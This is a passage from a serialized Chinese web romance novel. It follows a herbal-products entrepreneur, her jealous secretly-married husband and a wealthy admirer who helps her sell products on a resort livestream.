季宴礼伸手想去搂她的腰肢,睥见了她脖子是戴的项链,是苏容泽送的那条,自己送的她没戴。
他阴阳怪气道:“怪不得你不愿意,心里头有人了。”
舒星若“啪”的一声放下筷子,沉着脸说道:“我不是你,对脚踏两只船没有兴趣。”
季宴礼也火了:“那你为什么戴他送的项链,不戴我送的?”
舒星若瞪着他:“我爱戴什么就戴什么,你管不着。”
季宴礼一抬手摔了筷子,正要大发雷霆,季知许“哇”的一声哭了出来,“爸爸妈妈,我害怕。”两人忙去哄他。
季知许边哭边说:“你们能不能不吵架了?”
舒星若自责的说:“对不起,以后妈妈注意。”她后悔刚刚的冲动,忍吧,反正季宴礼现在也干不了什么。
季宴礼歉意的说道:“爸爸以后也注意。”
季知许一手一个的搂着他们的脖子,眼泪瞬间收回,“你们俩以后在家要乖乖的,不许吵架。要做亲亲夫妻。”
舒星若忽然觉得被这小子给忽悠了,演技太好了。不过在孩子面前吵架确实会给他造成心理阴影,她决定以后在家当蜗牛,不高兴了就缩回壳里。随便季宴礼发疯吧。
三人重新把饭吃完,季知许放下碗筷一溜烟的回书房看书。把空间留给父母。心里默默念着:“他们会和好的。”
季宴礼跟着舒星若上楼,进到舒星若的房间,他从身后搂住舒星若,舒星若本能的去掰开他的手。
季宴礼更加用力,舒星若说:“你放开,不然我把你胳膊卸了。”
季宴礼不信,在她耳边低声说:“恐吓我对你没有好处,小心我让你明天下不了床。”舒星若一个转身,反手捏住他的左手,她手上使劲,“咔”的一声,季宴礼痛得钻心。眼泪差点都掉出来了,他愤怒的说道:“你真的干得出来。”
舒星若歪头冷笑:“我警告过你的。”
季宴礼命令道:“帮我装上去。”
“你下次还强迫我不?”
“不了。”
舒星若走过去给他复位,来回两下就好了。
他看见梳妆台上自己送的项链连盒子都没打开过,心里更气了,他大声质问道:“我就那么入不了你的眼吗?我送的礼物你连看都不看,他送的你就戴着。”
舒星若静静的看着他:“你给何欣办生日宴你怎么不提呢?外面所有人都知道她是你女朋友,有人知道我是你老婆吗?季宴礼,我就那么让你拿不出手吗?”
季宴礼铁青着脸,说不出话来。他一开始不想公开舒星若是想着迟早会离婚,后来季知许出生,他还是不想公开。再后来他都忘了这件事,到何欣回来之后他更加不想公开。
他对何欣好,人人都说是他女朋友,他默认这个说法。要是公开,何欣就成了小三,他舍不得何欣背上骂名。
“何欣现在重度抑郁,我怕我们公开关系,她会想不开。”
“她想不开关我什么事?当小三就要付出代价。”
季宴礼冷着脸不说话。
舒星若嘲讽的杨了杨嘴角:“季宴礼,人呢,有时候骗着骗着连自己都相信了。你不爱我就是不爱,我答应了许许,在家里跟你演恩爱夫妻,出了门我们就是陌路人。”
舒星若的话让他心痛,他承诺道:“你给我点时间,处理好何欣的事我就公开我们夫妻关系。”
舒星若抬眸,饶有兴趣的看着他:“你打算怎么处理她?”
“送她出国。”
“你会舍得?”
“为了你,我舍得。”季宴礼眼神炙热,狭长的凤眼里装着深情。
这话舒星若连标点符号都不信,她淡淡的说:“好吧。”
“那你去我房间跟我一起住。”他的声音中带着哀求。“你说的,在家要演恩爱夫妻。”
舒星若说:“我换生床睡不着。”
“那我来你房间睡。”
舒星若没办法只能答应他。
季宴礼接着说道:“我手被你弄伤了,你要帮我洗澡。”
“擦,狗东西!”舒星若在心里骂了句,不情不愿的跟他进了洗手间。他脱了衣服,身材是真好,胸肌发达,腹肌明显。当年何欣也不知道是为了什么,抛弃他投入杨思淼的怀抱的。杨思淼的脸和身材比季宴礼可差远了。
舒星若说:“你蹲下,你太高了我够不着。”
季宴礼乖乖蹲下,舒星若在心里说:“就当是给流浪狗洗澡吧。”拿着花洒一顿乱洗,季宴礼不满的说:“洗发水进我眼睛了。”
舒星若直接用花洒朝着他眼睛喷,季宴礼闭着眼睛说:“你这是谋杀亲夫。”
“闭嘴,等下洗发水进嘴里了。”
洗完以后,他还要舒星若帮他擦干,舒星若快烦死了,麻利的擦完,扔了一套睡衣让他自己穿。
她自己拿着睡衣进去洗澡了,洗完出来之后季宴礼又让她帮他吹头发。
舒星若一边吹一边翻白眼,季宴礼不是没发现她的烦躁,但是他现在就想跟她亲近。哪怕是讨厌也行,他真的怕她被苏容泽抢走。
吹完以后舒星若坐在梳妆台前护肤,季宴礼又凑了过来,“我也要擦脸。”
舒星若把护肤品递给他:“你自己擦。”
“我要你帮我擦,我手疼。”
舒星若的眼睛简直要刀了他,胡乱的给他擦完。去季知许房间给他讲故事,季知许却拒绝:“妈妈,你和爸爸睡觉吧,我今天看了很多书,不用讲故事了。”
舒星若回来的时候季宴礼已经躺到她的床上了,舒星若眉心直跳,要玩是吧,那就陪你玩到底。她点了安神香,把林安禾发的那张照片发给他。
“这是警局当年的画像,你去查这个女人,当年就是她给我的那杯酒。”
季宴礼点开图片,“尤红娜?”
舒星若惊异:“你认识她?”
第49章 苏总陪她直播
季宴礼说:“见过一次,上次在何欣的生日宴上,后来再也没见过。”
舒星若命令的口气说:“你找到她,问清楚当年是谁指使她给我那杯酒的。当然如果她胡说八道,希望你能分辨得出来。”
对于当年的事,季宴礼已经渐渐释怀了,舒星若救他、为他生孩子、爱他、对他关心备至,如今还失去了生育能力,当年的怨恨慢慢消散了。
他说:“其实我已经不介意了。”
舒星若直视他的眼睛:“我介意,你骂了我六年爬床,我必须要把始作俑者找出来。”她其实是想季宴礼看清楚何欣是什么人,没了季宴礼这个靠山,她要对付何欣不难。
季宴礼愧疚的看着她:“对不起,以前是我太执着于那件事了,伤害到你了,我郑重的给你道歉。”
“知道了。”
躺下睡下,季宴礼问:“我可以抱着你睡吗?”
“不能。”舒星若翻身背对着他入眠。她心里骂:“想屁吃呢,鬼才稀罕你的浪子回头。”
他叹了口气,告诉自己:“慢慢来。”
没过几天,行止的三款产品已经完工,运到了云仓。官方店的直播间搭建成功了,网红们拍摄的视频也陆续上架。产品不温不火的,没有掀起多大的浪潮。再这么下去,公司就要亏损了。
苏容泽来到舒星若办公室,说:“网络直播现在靠的是噱头,你们直播间太平淡了。需要一个话题来引爆产品。”
舒星若说:“我知道啊,可是我们这种产品总不能来一出狗血撕逼大剧啊。”
苏容泽意味深长的望着她,也不说话。
舒星若明白他的意思,“我们仨的狗血爱情故事就算了,季宴礼说了人家何欣有重度抑郁,不能受刺激。”
苏容泽觉得很好笑:“季宴礼还是一如既往的蠢,何欣那样的女人能重度抑郁,那这世上就没有人不抑郁了。”
舒星若都他的话逗笑:“还是苏总真知灼见。”
苏容泽说:“那要不我去你的直播间聊几句吧,咱们就去度假村聊天,聊你给我外婆治病的过程。”
舒星若想了想说:“行。”
她送苏容泽出门,好奇的问道:“你干嘛要帮我?”
苏容泽说:“我外婆吩咐的。”
舒星若笑:“她太可爱了。”
苏容泽走了之后,舒星若立马和市场部开会,说了苏容泽的提议,袁晶觉得这主意不错,“你和苏总郎才女貌,出镜很适合呢。他在网上有不少迷妹粉丝,天然的带货体质。而且是讲故事的形式,比单纯的卖货更让人感兴趣。”
“行,那大家准备着,我们明天出发去度假村。公司所有人都去,顺便当团建。”
去团建的通告发到群里,大伙一阵欢呼。
舒星若给吉广通去了个电话,“吉总,明天帮我留一些房间,我们公司去直播顺便团建。具体人数我一会让助理发给你。”
吉广通说:“行,我给你打五折。我妈念叨你好长时间了,你来她会高兴得不得了。”
舒星若疑惑:“不是她让苏容泽带我去直播的吗?”
“啊?”吉广通惊讶:“没有啊,老太太刚还说想你呢。”
挂了电话,舒星若心里莫名有些暖暖的。苏容泽对她可太好了,为了给她解决困境,还特意找了个幌子,当然她不会不识趣的去拆穿他。
第二天一大早整个行止公司浩浩荡荡的出发了,苏容泽带着宗司辰跟他们一起挤大巴车。他跟舒星若坐一排,舒星若纳闷:“你放着豪车不坐,跟我们挤一块干嘛?”
“你们可以拍下来当官号主页素材啊。”
舒星若竖起大拇指:“苏总不当网红真是可惜了。”
黄丽歌自然不愿意错失这么好的吃瓜机会,早早的让摄影师架起了设备。
在镜头前舒星若显得拘谨,摄影师鼓励她:“舒总,不用紧张,咱们这不是直播,到时候会剪辑的。你俩颜值这么高,怎么拍都好看,你们就正常聊天就行。”
“行吧。”
但是她还是拘谨得不说话,苏容泽开口道:“你给我的花茶我给我妈寄了几盒,她赞不绝口。她特意给你定制了一套穆拉诺玻璃茶具。一会到度假村我拿给你。”
穆拉诺玻璃是高端工艺品,运用了千花、金箔镶嵌、蕾丝、雕塑等高难度技艺。价格也是十分昂贵。
舒星若开心的说:“替我谢谢阿姨。”
苏容泽说:“小意思,我妈还说回国的时候给你送锦旗。”
舒星若摆摆手:“锦旗就算了,我现在主业不是医生,等以后我回行止堂当大夫了再送也不迟。”
“那一言为定。”
苏容泽提起他认识舒星若之后开始看中医著作,越看越觉得震撼,中医学博大精深。
舒星若说:“也不用过度神化中医,中医有它的局限性。现代医疗条件发达,配合西医,才能发挥出最大功效。神化了中医会让很多人误解,会引发大面积的中医黑。”
苏容泽表示赞同。
两人一路说说笑笑到了度假村,谈论了很多东西。摄影师和账号运营乐开了花,素材多得要命。
下车之后,众人被度假村的美景吸引,在门口合了影,不用工作的各自跟着工作人员去了房间。
踏入度假村的这一刻,舒星若和苏容泽就开始进入工作状态了。直播设备全部打开,很多苏容泽的迷妹听说了他要直播,特意跑来一睹他的风采。
大家在评论区刷屏:【欢迎苏总,我那素未蒙面的老公。】
【真帅啊,比男明星还帅。】
【旁边的美女也很漂亮,好像是行止公司的创始人。】
【苏容泽为什么跑来行止公司的直播间?】
大家纷纷猜测舒星若是不是他的女朋友,越讨论直播间热度越高,慢慢的人越来越多。
苏容泽拿出那套穆拉诺杯子递给她:“打开看看。”
舒星若打开,一套融合了金箔镶嵌和雕塑工艺的玻璃杯子,有四只,全部是舒星若喜欢的海棠花形状。
舒星若惊叹不已:“这也太漂亮了吧。”
镜头拉近,直播间的观众大呼好看,有钱人的直播让人长见识。
有人发弹幕:【是苏容泽的妈妈送的,是给儿媳妇的见面礼?】
第50章 在线给苏总洗头
这条弹幕一发出来,大家就全部讨论了起来。直播间热度越来越高,很快人数破万了,比平时的零星几人看着让人激动多了。
但是运营小哥脑子没有发昏,这不是恋综,主要是卖产品的。
他让员工的小号们在下面刷:【是苏容泽妈妈给舒星若的谢礼。】
【为什么要给谢礼?】
【舒星若治好了苏容泽的外婆,老太太是糖尿病引起的瘫痪。】
【楼上的,你知道不少啊,展开讲讲。】
评论区里就开始有人讲述舒星若治病的过程,大家惊呼舒星若简直就是神医,她做的产品应该值得信赖。有人表示不信,评论区说待会你就信了。
舒星若和苏容泽边聊边来到了甘净莲的房间,路上镜头随意带过度假村的风景,观众大呼简直就是世外桃源。
金郡度假村轻松的火了一把。
甘净莲满头大汗的在做复建,镜头拍了一阵,大家纷纷感慨老太太真坚强。
吃瓜群众问起甘净莲的治病过程,苏容泽完完整整的讲了,还特意提到舒星若每次开车很久来治病,诊金收得又便宜。
很多吃瓜群众冲着这点在直播间下单,但是有人抱怨东西贵,何首乌洗发皂要三百多一块。
舒星若看了评论,解释道:“我们用的是上好的制首何首乌,大概七十块一克。大家放心,我们行止用的都是真材实料的东西,没有月桂醇系的化学添加。而且这一块洗发皂至少可以用三个多月,养发护发一起,防脱发。头发瘙痒、头屑多、头发扁塌爱出油的问题都能给你解决了。”
评论区发:【那你自己用吗?】
舒星若说:【用。】
她打开发夹取下皮筋,一头乌黑亮丽的头发,如海藻般浓密,散开的时候散发着阵阵幽香,一旁的苏容泽看得心跳都慢了一拍。
大家纷纷感慨:【无敌发量。】
又有人质疑舒星若是戴假发片,舒星若无奈的让镜头对准她的头发,一片一片的拨开给大家看。
直播间众人看完终于信了,开始有人下单,但是单量并不大,毕竟价格不便宜。
过了一会甘净莲复建完成了,她拄着拐杖走到镜头前来,舒星若看到甘净莲走路的速度,惊得嘴巴都张大了。
“甘奶奶,您这效率也太高了。”
甘净莲拿起桌上的纸巾擦汗,笑眯眯的说:“你让我每天复建一个小时,我嫌太慢,就加了一个小时。我想腿脚早点利索,出去踏遍祖国大好河山。”
评论区纷纷刷:【加油!】
直播间人数攀上了三万。
甘净莲看着桌上的何首乌洗发皂,颇有兴趣,“星若,可以用这个帮我洗头吗?”
苏容泽给甘净莲竖起了大拇指,老太太是懂整活的。
护工立马打了一盆热水来,甘净莲一头花白的短发,虽然湿漉漉的,但洗起来简单。舒星若用洗发皂给她洗,洗发皂打上去以后不怎么气泡,评论区开始发问:【这都没有泡泡,能洗干净吗?】
苏容泽读了评论出来,舒星若马上解释道:“洗发皂没有添加硫酸盐,硫酸盐过度清洁头皮,容易脱发。”
【靠,怪不得我头发越来越少。】
【是啊,洗发水普及二十多年,国人头发越来越稀少。】
洗完之后,护工拿来电吹风,舒星若帮甘净莲吹干,吹完之后头发清爽又蓬松,镜头仔细拍了,干干净净的。
直播间的观众心动了,纷纷下起了单。
又有人问道:【洗发皂能让发白转黑吗?】
舒星若答:“没有这个功效。头发变白有很多原因,有些是肾的问题,有些是毛囊的问题,有些是遗传,不能一概而论。”
弹幕纷纷称赞舒星若诚实,对她信任度更好,单量蹭蹭往上涨。
又有人开始整活,【给苏总洗个头呗。】
舒星若手掌盖住自己的眼睛,摇头叹气:“你们也太会想了。”
苏容泽却跃跃欲试,“我不介意,你帮我洗吧。”
弹幕狂刷:【帮他洗头!】
直播间人数来到了十万人,都想看苏容泽在线洗头发。
黄丽歌也想看,打好水送了过来,舒星若脸红红的,叹了口气,来到了苏容泽跟前。
她拿起毛巾铺在苏容泽的背上,往他脖子里压毛巾的时候,她的指尖触到他的肌肤,苏容泽全身毛孔都收紧了。耳尖脸颊全都红了,弹幕那群爱吃瓜的全都看见了,【苏总脸红了。】
【我靠,商业大佬竟然害羞了。】
【他俩这样子看起来是苏容泽暗恋。】
【不会吧,苏容泽这么帅还需要暗恋?】
【舒星若美啊,而且还是中医圣手,苏容泽心动也是正常。】
大家讨论之间,舒星若已经在给苏容泽按摩头皮了,她手法很轻柔,苏容泽既舒服又心痒,他偷偷的想:“要是她以后都帮我洗头就好了。”
想着脸上愈发的开心,直播间观众们看得大呼:【苏容泽在偷笑,他是被洗爽了吗?】
【他好享受啊,肯定是心动了。】
【你们俩去上恋综吧,我一集不落的追。】
洗完之后,黄丽歌非常有眼力见的递上电吹风,她吃瓜吃得特别激动。对舒星若说:“舒总,苏总喜欢你。”
舒星若白了她一眼,接过吹风机帮苏容泽吹了起来,吹完以后苏容泽像个男大一样干净清爽。
【更帅了。】
【他到底几岁啊,怎么这么年轻啊?】
【三十了。】
【三十岁这么清纯?爱了爱了。】
宗司辰递上苏容泽平时用的发胶,让舒星若帮他抓头发。季宴礼没让她帮他打理过头发,她哪会这些,舒星若拒绝:“我不会啊。”
苏容泽说:“你随便抓,怎么样都可以。”
舒星若不想毁了苏容泽的形象,打开手机搜了个教程看了几分钟,站起来替他抓了起来。成型后,苏容泽又恢复了商业精英的味道。
评论区又热闹了:【舒星若好可爱,还特意去搜教程。】
【没人发现她审美真好,抓得很好看。】
【是啊,你没看苏容泽嘴角半点都压不住。】
运营宣布:“所有的洗发皂全部卖完了。”
第51章 cp感拉满
舒星若的眼睛都亮了,“这么快!”
苏容泽笑着说:“那是因为你洗头发洗得好。”
舒星若轻轻的拍了他一下,苏容泽笑得更灿烂了。
一旁的宗司辰心说:“苏总今天是吃毒蘑菇了吗?被拍一下笑成这样。”
舒星若又介绍起了杏仁七白饮,“七白饮里有芡实、铁棍山药、茯苓、莲子、粉葛、龙牙百合和南杏仁,这个是调理功能的,可以改善脸部发黄暗沉。”
弹幕都在问:【喝了会像你一样白吗?】
舒星若皮肤白得发亮,是大家羡慕的对象。她摇摇头,“大家不要被忽悠了,我是天生这么白,我平时喝七白饮是调理身体的,它比较润,主要功效是滋阴养颜和健脾养胃的。也可以让皮肤细腻。”她把自己的袖子卷上去,透出细腻白嫩的胳膊,给大家展示了胳膊内侧,“你的肤色呢就是这里面的颜色,七白饮可以让你恢复这个颜色,但是不能让你变白。”
听说不能变白,直播间的观众就没那么热情了。
运营觉得她太实诚了,一点都不吹嘘,搁别的直播间早就吹得天花乱坠了。
眼看着直播间热度下降,苏容泽撩起他的衣袖,紧实的肌肉线条展示出来,评论区都在喊着要看他的腹肌。苏容泽说:“露腹肌会被封号的。”
他经常打高尔夫,晒得分界线的地方还没有恢复。
“我喝七白饮可以恢复肤色吗?”
舒星若说:“可以啊。”拿出热水泡了一碗给苏容泽。
弹幕刷了几十条:【喂他。】
舒星若视若无睹,让苏容泽自己喝,苏容泽喝完,“没什么味道啊?”
“没放糖,都是天然食材加工的。放了糖会发胖的。”
洗漱干净的甘净莲走进直播间,“我可以喝吗?我有糖尿病。”
“当然可以。甘奶奶您喝完气色更好。”
舒星若说着也泡了一碗给她喝,她自己也喝了起来,她喝完苏容泽递了纸巾给她擦嘴。
“谢谢!”
“不用客气。”
慢慢的开始有人下单,但没洗头皂那么火爆。喝完七白饮,苏容泽问她:“你做七白饮的想法是什么?”他深知做品牌需要讲故事。
舒星若说:“我经常上网看到有女孩子打美白针什么的,伤肝又对身体不好,七白饮是咱们传统的配方。只要坚持喝,女生们都有一个好气色。”
苏容泽一脸宠溺的望着她:“你还是这么善良,心里想的永远都是帮助大家。”
舒星若:“我见不得别人为了美白吃那么多苦。”
【舒星若好善良啊!】
【可能她是中医,我总感觉她的眼神里有慈悲。】
直播间的很多观众又磕到了,【苏容泽的眼神好宠溺。】
【怎么感觉舒星若对他没感觉啊?】
【一场大型的暗恋,我想看苏总怎么追她。】
宗司辰在一旁凑热闹,他在评论区发:【舒星若脖子上的项链是苏容泽送的。】
评论区一下子被点燃:【苏总,聊聊项链。】
苏容泽看到评论了,他回答道:“这个项链是我送给舒大夫的谢礼。我外婆瘫痪了一年多了,不能说话神志不清,不记得我。我跟外婆感情很好,舒大夫来治了短短两个月,可以说话认出我来了,你说我能不激动吗?而且只是扎针跟喝中药,外婆没有经历大手术的痛苦,我真的很感激舒大夫。”他特意叫舒大夫,是怕叫名字显得两人太亲密,毕竟她还没离婚。
【两个都是很好的人,在一起吧。】
【苏总知恩图报,这么好的男人我怎么遇不到?】
评论区有人查到这个项链的价格在十五万左右,【苏总是真的大方,这项链十几万呢。】
【十几万对于我们很贵,对他可能就是随手一买。】
宗司辰又在一旁添砖加瓦:【项链是苏总特意挑的太阳花。】
弹幕:【苏总,为什么要选太阳花啊?】
苏容泽浅笑道:“我希望舒大夫永远像太阳一样熠熠生辉。”他心里偷偷的说:“一直照耀着我。”
直播间热度再次暴涨,【冲着两个实在的人,我高低买罐七白饮尝尝。】
没一会七白饮的销量暴涨,也快要卖完了,运营笑得嘴都合不拢。
直播了一上午,到了午餐时间,舒星若宣布直播结束。
直播间观众直呼看不够,苏容泽说:“请大家多多支持舒大夫的产品,她是个非常真诚的人。”
弹幕狂刷:【我想看到你俩贴贴。】
【你们结婚直播我随份子。】
【去参加恋综吧,我要嗑生嗑死。】
苏容泽心中阵阵窃喜,他愿意等她离婚。
两人下了播,运营宣布整场直播销售额达到三百万,整个公司的人情绪高涨。舒星若立刻让销售部下单给工厂,大批量产。同时袁晶决定直播间改成男女一起播,模仿舒星若和苏容泽。还是得整活,不然没有关注度。
吃饭的时候,苏容泽、舒星若、吉广通、甘净莲和杨思淼一桌。杨思淼是来凑热闹的,他不能玩女人,来看苏容泽这朵高岭之花怎么追人妻也挺有趣。
吉广通小声提醒苏容泽:“小舒跟季宴礼没离婚,你可不要把自己名声弄坏了。”苏容泽是集团董事长,一旦他沾上什么丑闻,集团股价会大幅波动。
苏容泽说:“我有分寸。”
杨思淼问他:“二哥,舒星若虽然挺好看的,但是是人妻啊,你的喜好不一般。”
“闭嘴。”
甘净莲问:“你们三个嘀嘀咕咕的说什么呢?”
苏容泽忙说:“没什么,就是讨论公司的事。”可不能让甘净莲知道舒星若和季宴礼的事,以老太太的暴脾气,肯定会去找季宴礼麻烦的。
甘净莲用公筷夹了很多菜放进舒星若碗里:“星若最近消瘦了不少,多吃点补补。”
“谢谢甘奶奶。”
甘净莲说:“一会吃完饭到我房间来,我给你礼物。”
舒星若不好意思的说:“我已经收了苏总和他母亲的谢礼了,您不必这么客气。”
“他们是他们,我是我,没有你,我老婆子下半生就毁了。”
苏容泽微笑道:“你就不要推迟了,外婆早就准备好了。”他神秘的在舒星若耳边说:“外婆准备的礼物你肯定喜欢。”
第52章 一起泡温泉
舒星若说:“你怎么知道我会喜欢?”
苏容泽一副了然于胸的表情:“我还不了解你吗?”
这话过于暧昧,杨思淼和吉广通纷纷看向他,尤其是杨思淼,贱嗖嗖的说:“二哥,你到底有多了解舒大夫?”
苏容泽干咳了一声,低头吃菜。舒星若倒不觉得有什么,苏容泽确实挺了解她的。给她找代工厂、帮她直播、助力品牌热度,每件事都做到了她的心坎上了。
她低头给了苏容泽一个肯定的眼神,苏容泽接收到了,心里一阵喜悦。
吃完饭之后舒星若跟着甘净莲去她的房间,宽大的房间里最吸引人的是书架,古色古香的书架上摆放着各种书籍。舒星若扫了一眼,有很多非常珍贵的古籍。
甘净莲和舒星若坐下之后,她示意护工去拿礼物。护工抱来一个纸箱,舒星若接过来,很重。
打开一看,里面是十几本中医古籍,有些甚至是孤本,还有些是名医写的行医手札,舒星若翻了几本,上面有很多古法中医已经失传了。
舒星若合上书,望着这些宝贝,刹那间心花怒放,笑得甜甜的:“甘奶奶,您怎么会找到这么多古籍?”
甘净莲端起一杯茶递给舒星若,“我一直有搜集古籍的习惯,最近琢磨着送点什么给你好,我寻思着你应该很喜欢这些医书。”
“我可太喜欢了,谢谢您。”她都想去搂甘净莲的脖子了,但是想想他们也没那么熟,便作罢了。
甘净莲得意的笑:“你想抱我也不是不可以。”
舒星若低头喝了杯茶,她没有那么外放。
甘净莲看得出来苏容泽对舒星若有意思,但是那小子也不说,舒星若又是慢热的性子,这两人什么时候能成呢?
她直接问道:“你喜欢苏容泽吗?”
舒星若被茶水呛到满脸通红的咳嗽,护工帮她顺了一会气,她幽幽说道:“我们是朋友,苏总是个值得信赖的朋友。仅此而已。”
甘净莲心想:“得,襄王有意神女无梦。苏容泽也不知道什么时候能追到她。”
喝了会茶,闲聊了一些康复的事,舒星若告辞了。
她抱着古籍回了房间,运营打来电话问舒星若:“舒总,上午的直播反响很好,下午还要继续直播吗?”
舒星若不怕直播的辛苦,只是还要麻烦苏容泽她有点不好意思,“我一个人播行不?我不想再麻烦苏容泽了。”
运营说:“最好趁这波热度你们再直播一次,现在就一个祛斑霜没介绍了。”实际上他是嫌舒星若直播无趣,只会说大实话,干巴巴的介绍产品。跟苏容泽互动起来,观众乐意看。
她叹气:“那我打电话问问他吧。”
她正准备拨通电话,苏容泽的电话打过来了:“你下午还要直播吗?我今天一天时间都留给你。”
舒星若心下感动,她知道苏容泽平时很忙,还特意留一天时间给自己。
“嗯,我刚想问你呢,那几点播,我让他们先发个预告。”
苏容泽的声音忽然变轻:“我想跟你一边泡温泉一边直播。”说完他自己的脸红到了耳根,心跳得厉害。
舒星若一脸懵逼,想不到苏容泽的思维竟这么发散:“啊?这不好吧?我毕竟是有夫之妇,万一季宴礼看见了发疯,会给你添麻烦的。”
苏容泽失望的说:“好吧,那就六点吃晚饭那会直播吧,咱们边吃边播,容易出效果。”
“好!”
挂了电话,舒星若将晚上直播的时间发给运营,让他去发预告。
刚准备躺下休息一会,门铃响了,来的是苏容泽。
苏容泽穿着浴袍,他提议道:“我们去泡温泉放松吧。”
舒星若说:“行,我去换个衣服,你等我一下。”
她换上泳衣,外面套上浴袍。苏容泽笑着说:“咱俩这像不像情侣装?”
舒星若正色道:“苏总,别开这种玩笑。”
苏容泽在心中叹气,他发现舒星若简直就是钢铁直女,理解不了一点风情。
舒星若接着说道:“我都没离婚,万一咱俩传绯闻对你我都不好。”
苏容泽按捺住想表白的心,不表白他们还可以做朋友,他可以守护舒星若,一旦表白了,按照她的性格会远离自己的。
两人脱了浴袍准备下池子,苏容泽穿了一条泳裤,腹肌一览无余。
舒星若笑道:“苏总这身材真绝。”要是在直播间展示出来,他的迷妹又会多一大波。
苏容泽被夸得嘴角都压不住,“谢谢舒大夫的欣赏。”我的腹肌只给你看。最后一句他在心里偷偷的说。
舒星若穿的是一套分体比基尼,她身材也很好,蜂腰翘臀,胸部饱满。
苏容泽看得有点脸红,他不敢一直看,怕自己把持不住。
他们一起下到水里,十一月的天气泡温泉正合适,坐进去非常舒服。服务员适时的送来水果和茶水,用一个木质餐盘漂在汤池上。这样的悬浮下午茶颇为有趣,两人边吃边聊。
苏容泽说:“你应该趁热打铁,再多弄几款产品出来。对于一家企业来说,产品单一其实非常致命。”
“行,我听你的。”
“而且在营销上记得要讲故事,用户对你的产品兴趣可能不大,但是对背后的故事会很在意。后续做好备货,不要怕压资金,我会帮你的。”他言下之意自己会帮舒星若兜底。
他实在太好了,好到舒星若都不知道怎么回报他。
“苏总,你对我这么好,我怎么报答你?”
苏容泽心想,以身相许就行了。
嘴上说:“我帮你不是为了你报答我,是希望你做大做强,有跟季宴礼谈判的资本。我还是那句话,你值得更好的生活。”
“嗯!”苏容泽帮了自己这么多,她心下琢磨,送点什么给他比较好。可是他好像什么都不缺。
两人泡了一个多小时,都脸颊红红的,尤其是舒星若,白皙的脸上像擦了一层胭脂,比平常多了一份艳丽。苏容泽看着心跳都漏了几拍。
回到房间,舒星若美美的睡了一个午觉。
她是被门铃吵醒的,她伸着懒腰去开门,来的是季宴礼。
第53章 不敢公开她
季宴礼的脸阴沉得可怕,像极了他坐轮椅的时候。看到这个表情,舒星若有些恍若隔世。那时候她的世界只有季宴礼,每天所思所想都是怎么哄他开心。
现在她对季宴礼的不高兴丝毫不介意。
中午吃饭的时候,何欣将舒星若给苏容泽洗头发的直播切片发给了季宴礼,他越看越气。
舒星若在家给他洗头敷衍了事,洗发水进了他的眼睛也不在乎。直播给苏容泽洗的时候仔仔细细,还温柔写意的按摩。两人聊天的时候又十分默契,像极了热恋中的情侣。
季宴礼看完就直接杀过来了,他打给吉广通要了舒星若的房间号,吉广通本来想通知舒星若的,手头有急事给耽搁了。
“舒星若,你很好,跑到这里来跟别的男人在直播间里打情骂俏。”
舒星若拉下脸来,“季宴礼,别一天天的无中生有好不好?我这是正常工作。”
“正常工作要给男人洗头发?”季宴礼逼近舒星若:“他看你的眼神都拉丝了。”
舒星若翻了个白眼:“我有回应他吗?”真是莫名其妙的冤枉人。“何欣都贴到你身上了,你怎么不说呢?”
他一把搂住舒星若的腰肢,两人的距离近得能听到彼此的呼吸声,“你是不是为了气我故意跟他直播的?”
舒星若手上用力推开他:“季宴礼,我没你那么闲。行止的产品销量不好,市场部建议我们换地方直播,这才来了金郡。苏容泽也是仗义,特意停了一天工作来帮我。”
他看着舒星若的眼睛:“我每个月给你的钱不够吗,你为什么一定要创业挣钱?”
舒星若最恨季宴礼的双标,蹙眉道:“我不能有自己的事业吗?你自己都知道把瑞祥给何欣那个废物的,让她做CEO,何曾考虑过我?”
季宴礼无言以对,他在心底就不喜欢舒星若创业,他只希望她在家围着自己和孩子转。
“那你不许再和苏容泽一起直播?”季宴礼有些孩子气的说,他每次看到他们一起就气得发疯。
舒星若打开手机,翻到公司主页号上的预告给他看,“预告已经发了,改不了。”
季宴礼霸道的说:“你公司值多少钱?我买了,总之你不许跟他一起直播。”
舒星若浅笑道:“不好意思,公司我不卖。”她玩味的望着季宴礼:“我是你老婆,我创业你从来没想过要帮我。人家苏容泽百忙之中抽出时间来帮我直播,增加热度。你呢,你敢跟我一起出镜直播吗?”
季宴礼败下阵来,他压根就不敢公开自己和舒星若的夫妻关系。
舒星若戏谑的说道:“所以呢,别在这演深情丈夫了,回去好好的陪你的小情人吧。”
季宴礼发怒:“我说了很多次了,何欣不是我的情妇,我现在是在报恩。她抑郁症没有这么严重我就会送走她。”
“等你送走她了再说。”舒星若一脸鄙夷。
舒星若转身去拿衣服,快到直播的时间了。她没工夫在这里继续跟他掰扯,舒星若说:“请你出去,我要换衣服了。”
季宴礼坐在床边的沙发上,“我是你丈夫,不能看你换衣服吗?”
舒星若懒得理他,进洗手间换了衣服,换好衣服出来简单的化了个淡妆,头发挽成新中式的侧发髻。
这是季宴礼第一次看她梳妆打扮,她的动作如行云流水,人本身就好看,整个画面像是一场优美的演出。看起来让人赏心悦目。
季宴礼站起身来:“我要去看你直播。”
舒星若抬眸:“你不捣乱就行,捣乱我就叫他们把你丢出去。”
季宴礼压迫的看着她:“你是第一个敢这么跟我说话的人,你知不知道,我可以把你扔出去?”
舒星若不屑一顾:“收起你对下属的那一套,你无权对我发号施令。”
两人一路沉默的来到直播的房间,季宴礼有几次想牵舒星若的手,但又放弃了,他还没有勇气在大庭广众之下公开舒星若。
到了之后,苏容泽看到季宴礼很是诧异,轻声问舒星若:“他怎么来了?”
季宴礼不服气:“我怎么就不能来?”
运营走过来给苏容泽和舒星若直播脚本,他看到季宴礼也很意外:“季氏集团的总裁怎么来了?舒总,他是你朋友吗?”
舒星若答:“算是吧。”
“朋友?”季宴礼心塞得厉害,他想当众宣布舒星若就是他的老婆,但是他眼前浮现何欣那张楚楚可怜的脸,又放弃了。
苏容泽和舒星若坐在一起看脚本,两人都是一目十行,一会就看完了。
苏容泽问舒星若:“他晚上要住这里吗?”住一起就意味着他们有夫妻生活,想到这一点苏容泽心里就很不舒服。
舒星若说:“大概要住这里吧,也不知道是不是跟何欣吵架了,突然发神经跑过来。不过也是,他现在没有那方面的能力,他们吵架也正常。”
苏容泽眼睛瞪大:“你给他下药了?”
舒星若小声在他耳旁说:“我听说何欣床上功夫特别厉害,季宴礼之前不知道什么原因一直没碰她。我闺蜜提醒我他要是娶了何欣我和孩子就没活路了,那我就让季宴礼不行呗。我没那么恶毒,也没下多重的药,就是点了熏香,让他暂时不行。不点他过段时间自己就好了。”
她对苏容泽特别信任,不介意将这么私密的事情告诉她。
